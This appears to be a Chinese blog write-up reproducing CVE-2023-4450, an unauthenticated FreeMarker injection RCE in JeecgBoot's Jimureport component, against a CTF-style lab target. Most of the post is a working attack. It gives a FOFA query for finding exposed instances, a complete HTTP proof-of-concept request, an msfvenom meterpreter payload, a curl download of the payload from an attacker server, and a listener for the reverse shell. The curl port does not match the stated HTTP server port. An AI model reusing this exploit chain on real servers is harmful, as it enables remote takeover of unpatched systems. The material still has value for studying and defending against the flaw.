jeect-boot RCE漏洞(CVE-2023-4450)

0x01 前言

JeecgBoot 是一个开源的低代码开发平台,Jimureport 是低代码报表组件之一。当前漏洞在 1.6.1 以下的 Jimureport 组件库中都存在,由于未授权的 API/jmreport/queryFieldBySql使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。
影响范围:

  • Jimureport 版本 < 1.6.1

漏洞搜索:

# fofa 语法
app="Jeecg-Boot 企业级快速开发平台"

复现准备:

  • 靶机:春秋云境 http://xxxxx.cloudeci1.ichunqiu.com:8080
  • 公网服务器:10.10.10.1

0x02 复现

1. POC

POST /jmreport/queryFieldBySql HTTP/1.1
Host: xxxxx.cloudeci1.ichunqiu.com:8080
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/json
Content-Length: 124
Connection: close

{
    "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",
    "type": "0"
}

2. 漏洞利用

对网页进行抓包,修改 host 数据,如果漏洞存在将会返回 200;
image.png

此时,将 sql 中的命令改为 cat /flag 即可看到 flag 结果。

0x03 反弹 shell

1. 建立 HTTP 服务

# 使用 python 在本地 80 端口建立
python3 -m http.server 80

2. 生成并上传木马

使用 msfvenom 生成木马,并放入 http 服务目录下

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.10.1 lport=4444 -f elf -o shell.elf

在 poc 使用 curl 将木马上传:

curl http://10.10.10.1:4444/shell.elf -o shell.elf

image.png

3. 监听上线

在本地使用 msfconsole 监听 4444 端口。然后执行木马等待上线即可。
1721197529729.png

免责声明

技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值